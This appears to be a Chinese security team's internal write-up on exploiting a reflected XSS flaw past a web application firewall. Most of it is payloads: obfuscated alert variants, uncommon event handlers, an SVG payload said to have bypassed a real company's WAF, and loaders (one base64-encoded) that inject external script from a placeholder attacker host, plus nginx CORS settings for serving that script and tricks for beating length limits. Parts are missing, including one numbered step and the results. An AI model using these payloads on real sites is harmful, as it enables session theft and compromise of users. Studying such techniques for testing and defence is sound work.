本文来自白帽一百少先队内部分享会。
起因
从某站一处反射XSS说起
<svg onload=alert(1)> <img src onerror=alert(1)>很不幸运的是,会被 WAF 拦截。

Bypass Waf
这里给出一些构造特殊的 XSS Payload:JS代码
[1].find(alert);
top['al\x65rt'](2);
top["al"+"ert"](3);
setTimeout('ale'+'rt(4)');
Function("ale"+"rt(5)")();
new Function`al\ert\`6\``;
setInterval('ale'+'rt(7)');
top[8680439..toString(30)](8);
top[/al/.source+/ert/.source](9);
open('java'+'script:ale'+'rt(10)');
给出一些特殊的 On 事件:
onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onscroll
onabort
oncanplay
oncanplaythrough
onended
onerror
onloadeddata
onloadedmetadata
onloadedstart
onpause
onplay
onplaying
onprogress
......
通过上述一些比较不常见的事件以及攻击方法,我们可以自行构造出一系列 payload 进行 fuzz 测试。
最后成功使用以下 payload bypass 某公司 waf。
<svg><discard onbegin=[1].find(alert)>


遇到 XSS 长度限制难题
有时候,即使你发现的 XSS 漏洞能够反射弹窗了,但也无法引入外部 js。 (因为有些接口会对参数内容,长度等进行审计拦截) 我们可以大致列举一下,平时我们引入 js 的一些方法:最最最常见的
d=document;z=d.createElement("script");
z.src="//IP:PORT";d.body.appendChild(z);
我常用的
appendChild(createElement('script')).src='//xx.xx'
编个码的(base64)
eval(atob('ZD1kb2N1bWVudDt6PWQuY3Jl
YXRlRWxlbWVudCgic2NyaXB0Iik7ei5zcmM9Ii8v
SVA6UE9SVCI7ZC5ib2R5LmFwcGVuZENoaWxkKHopOw=='))
我们可以对上面那个反射 XSS 进行测试,发现他对于输出点做了字符长度限制。



突破 XSS 长度限制的思路
1.一种思路 hash 属性是一个可读可写的字符串。 该字符串是 URL 的锚部分(从 # 号开始的部分)



import('//domain/file')
但是必须满足以下条件:
- 使用相同的协议 不然会遇到: no referrer when downgrade 无法执行
- 外部文件 MIME 为 application/javascript 并允许跨域加载(CORS)
location ~ .*\.(js|css)?${
add_header Access-Control-Allow-Origin *;
}
3.添加一个 JS 文件,并将其添加到 nginx 默认首页中
server { ...
index index.php index.html 1.js
...}
成果:



㏕ -> mil | Ⅷ -> VIII | ㏒ -> log
等等...
但是它们的长度,在 JS 以及其他的语言判定的长度还是为 1 位。这种有趣的特性,让我们可以 “短上更短”,在特定情况下 还可以实现对一些 WAF 的绕过。

